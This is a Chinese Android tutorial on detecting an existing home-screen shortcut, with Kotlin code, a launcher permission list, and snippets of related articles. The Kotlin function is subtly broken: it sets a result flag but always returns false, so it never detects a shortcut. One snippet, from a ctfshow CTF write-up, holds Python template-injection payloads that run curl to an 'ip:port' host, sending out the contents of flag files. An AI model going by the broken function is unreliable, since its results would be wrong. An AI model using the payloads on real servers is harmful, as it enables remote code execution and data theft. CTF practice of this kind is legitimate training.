Android 判断手机桌面是否已经存在App的快捷方式

我们需要在桌面添加快捷方式的时候,为了优化体验,有时候需要判断桌面上是否已经存在快捷方式。

经过自己探索整理,代码如下:

    /*** 判断桌面是否已添加快捷方式*/fun hasShortcut(context: Context): Boolean {try {var result = falseval pm = context.packageManagerval title = pm.getApplicationLabel(pm.getApplicationInfo(context.packageName, PackageManager.GET_META_DATA)).toString()val intent = Intent(Intent.ACTION_MAIN)intent.addCategory(Intent.CATEGORY_HOME)val resolveInfo = context.packageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY)val launcherPackageName = resolveInfo?.activityInfo?.packageNameif (launcherPackageName.isNullOrEmpty()) {return false}val uriStr = "content://${launcherPackageName}.settings/favorites?notify=true"val PROJECTION = arrayOf("title", "intent")val CONTENT_URI = Uri.parse(uriStr)val c = context.contentResolver.query(CONTENT_URI, PROJECTION, "title=?", arrayOf(title), null)if (c != null && c.count > 0) {c.close()result = true}return false} catch (e: java.lang.Exception) {}return false}

权限

    <uses-permission android:name="com.google.android.apps.nexuslauncher.permission.READ_SETTINGS"/><uses-permission android:name="com.android.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.android.launcher2.permission.READ_SETTINGS" /><uses-permission android:name="com.android.launcher3.permission.READ_SETTINGS" /><uses-permission android:name="com.samsung.android.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.samsung.android.launcher.permission.WRITE_SETTINGS" /><uses-permission android:name="org.adw.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.qihoo360.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.lge.launcher.permission.READ_SETTINGS" /><uses-permission android:name="net.qihoo.launcher.permission.READ_SETTINGS" /><uses-permission android:name="org.adwfreak.launcher.permission.READ_SETTINGS" /><uses-permission android:name="org.adw.launcher_donut.permission.READ_SETTINGS" /><uses-permission android:name="com.huawei.launcher3.permission.READ_SETTINGS" /><uses-permission android:name="com.fede.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.sec.android.app.twlauncher.settings.READ_SETTINGS" /><uses-permission android:name="com.anddoes.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.tencent.qqlauncher.permission.READ_SETTINGS" /><uses-permission android:name="com.huawei.launcher2.permission.READ_SETTINGS" /><uses-permission android:name="com.android.mylauncher.permission.READ_SETTINGS" /><uses-permission android:name="com.ebproductions.android.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.oppo.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.lenovo.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.huawei.android.launcher.permission.READ_SETTINGS" /><uses-permission android:name="com.bbk.launcher2.permission.READ_SETTINGS" /><uses-permission android:name="cn.nubia.launcher.permission.READ_SETTINGS" /><uses-permission android:name="cn.nubia.launcher.permission.WRITE_SETTINGS" /><uses-permission android:name="cn.nubia.launcher2.permission.READ_SETTINGS" /><uses-permission android:name="cn.nubia.launcher2.permission.WRITE_SETTINGS" /><uses-permission android:name="net.oneplus.launcher.permission.READ_SETTINGS" /><uses-permission android:name="net.oneplus.launcher.permission.WRITE_SETTINGS" />

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/32185.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于AT89C52单片机的温度报警系统

点击链接获取Keil源码与Project Backups仿真图: https://download.csdn.net/download/qq_64505944/89456321?spm=1001.2014.3001.5503 仿真构造:AT89C52+DS18B20温度模块+三按键+蜂鸣器+四位数码管显示+电源模块。 压缩包构造:源码+仿真图+设计文档+原理图+开题文档+元件…

Java宝藏实验资源库(3)类

一、实验目的 理解面向对象程序的基本概念。掌握类的继承的实现机制。熟悉类中成员的访问控制方法。熟悉ArrayList类的使用。 二、实验内容、过程及结果 *9.5Programming Exerc ise the GregorianCal endar class) Java API has the GregorianCalendar class in the java. uti…

民生银行北京分行金融科技校招面试记录

本文介绍2024届春招中&#xff0c;中国民生银行下属北京分行的金融科技岗位1场面试的基本情况、提问问题等。 2024年04月投递了中国民生银行下属北京分行的金融科技岗位&#xff0c;暂时不清楚所在部门。目前完成了一面与终面&#xff0c;在这里记录一下面试的相关经历。 首先&…

LayoutSystem布局系统

简介: LayoutSystem,是UGUI中由CanvasUpdateSystem发起(m_LayoutRebuildQueue中大部分都是LayoutRebuilder)的关于布局排列的处理系统。 类图: 布局过程 核心代码讲解: LayoutRebuilder

前端编程语言——JS语言结构、函数、数组、字符串、日期、对象、定时器(2)

0、前言&#xff1a; 这篇文章记录的是我自己的学习笔记。在python中通过input来获取输入&#xff0c;在JS中用prompt()&#xff0c;来获取输入。写JS代码要记得每个代码结束要加上分号。 1、JS编程语言结构&#xff1a; 顺序结构&#xff1a;从上往下依次执行分支结构&#…

【数据结构】顺序表实操——通讯录项目

Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f4a5;&#x1f4a5;个人主页&#xff1a;奋斗的小羊 &#x1f4a5;&#x1f4a5;所属专栏&#xff1a;C语言 &#x1f680;本系列文章为个人学习…

三电平光伏逆变器高效DPWM研究

1. 引言 本文从效率 提升角度出发 , 详细分析了逆变器不同调制策略下开关 器件及滤波器损耗分布情况 , 并在 50kW 组串式三电平光伏逆变器上对比分析采用 SVPWM 和 DPWM 两种 调制方法对逆变器效率和谐波的影响 , 最终验证了采用 DPWM 调制策略的优越性。 2 SVPWM 和 DPWM 对比…

OpenCV 特征点检测与匹配

一 OpenCV特征场景 ①图像搜索&#xff0c;如以图搜图&#xff1b; ②拼图游戏&#xff1b; ③图像拼接&#xff0c;将两长有关联得图拼接到一起&#xff1b; 1 拼图方法 寻找特征 特征是唯一的 可追踪的 能比较的 二 角点 在特征中最重要的是角点 灰度剃度的最大值对应的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

SpringSecurity实战入门——授权

权限系统的作用 例如一个学校图书馆的管理系统,如果是普通学生登录就能看到借书还书相关的功能,不可能让他看到并且去使用添加书籍信息,删除书籍信息等功能。但是如果是一个图书馆管理员的账号登录了,应该就能看到并使用添加书籍信息,删除书籍信息等功能。 总结起来就是…

如何在 Tailwind CSS 中实现居中对齐

如何在 Tailwind CSS 中实现居中对齐&#xff1a; 1. 使用 text-center 类&#xff08;针对行内元素或行内块元素&#xff09; 这个类用于将文本或行内块元素水平居中对齐。 <div class"text-center"><span>这是一个行内元素</span> </div&g…

OpenCV Mat实现图像四则运算及常用四则运算的API函数

装载有图像数据的OpenCV Mat对象&#xff0c;可以说是一个图像矩阵&#xff0c;可以进行加、减、乘、除运算。特别是加运算特别有用。 一 与常数的四则运算 与常数的加运算 示例&#xff1a; #include <iostream> #include <opencv2/opencv.hpp>using namespace …

10.华为路由器使用ospf动态路由连通两个部门网络

目的&#xff1a;实验ospf动态路由协议连通A与B部门 AR1配置 [Huawei]int g0/0/0 [Huawei-GigabitEthernet0/0/0]ip add 1.1.1.1 24 [Huawei]vlan batch 10 [Huawei]int Vlanif 10 [Huawei]int e0/0/0 [Huawei-Ethernet0/0/0]port link-type access [Huawei-Ethernet0/0/0]por…

SpringCloud中Eureka和Nacos的区别和各自的优点

Eureka注册中心 Eureka作为一个注册中心&#xff0c;服务提供者把服务注册到注册中心&#xff0c;服务消费者去注册中心拉取信息&#xff0c; 然后通过负载均衡得到对应的服务器去访问。 服务提供者每隔30s向注册中心发送请求&#xff0c;报告自己的状态&#xff0c;当超过一定…

解析Java中1000个常用类:Arrays类,你学会了吗?

推荐一个我自己写的程序员在线工具站: http://cxytools.com 提供一站式在线工具平台,专为程序员设计,包括时间日期、JSON处理、SQL格式化、随机字符串生成、UUID生成、随机数生成、文本Hash等功能,提升开发效率。 以下是正文。 在 Java 编程中,数组是基础且常用的数据结…

对比学习

对比学习基本概念 对比学习通过对比数据对的“相似”或“不同”以获取数据的高阶信息。 由同一张原始图片扩增而来的两张新的图片&#xff0c;叫做Positive Pairs。将这两张图片送入深度学习模型中&#xff0c;我们希望深度学习模型学习到这两个图像是相似的。 由不同原始图…

Flutter-实现头像叠加动画效果

实现头像叠加动画效果 在这篇文章中&#xff0c;我们将介绍如何使用 Flutter 实现一个带有透明度渐变效果和过渡动画的头像叠加列表。通过这种效果&#xff0c;可以在图片切换时实现平滑的动画&#xff0c;使 UI 更加生动和吸引人。 需求 我们的目标是实现一个头像叠加列表&…

hadoop常见简单基础面试题

文章目录 hadoop简单基础面试题1. 请说下 HDFS 读写流程2. HDFS 在读取文件的时候&#xff0c;如果其中一个块突然损坏了怎么办3. HDFS 在上传文件的时候&#xff0c;如果其中一个 DataNode 突然挂掉了怎么办4. NameNode 在启动的时候会做哪些操作5.Secondary NameNode 了解吗&…

【完全复现】基于改进粒子群算法的微电网多目标优化调度(含matlab代码)

目录 主要内容 部分代码 结果一览 下载链接 主要内容 程序完全复现文献模型《基于改进粒子群算法的微电网多目标优化调度》&#xff0c;以微电网系统运行成本和环境保护成本为目标函数&#xff0c;建立了并网方式下的微网多目标优化调度模型&#xff0c;通过改进…

小山菌_代码随想录算法训练营第三十天|122.买卖股票的最佳时机II、55. 跳跃游戏 、45.跳跃游戏II、1005.K次取反后最大化的数组和

122.买卖股票的最佳时机II 文档讲解&#xff1a;代码随想录.买卖股票的最佳时机II 视频讲解&#xff1a;贪心算法也能解决股票问题&#xff01;LeetCode&#xff1a;122.买卖股票最佳时机II 状态&#xff1a;已完成 代码实现 class Solution { public:int maxProfit(vector<…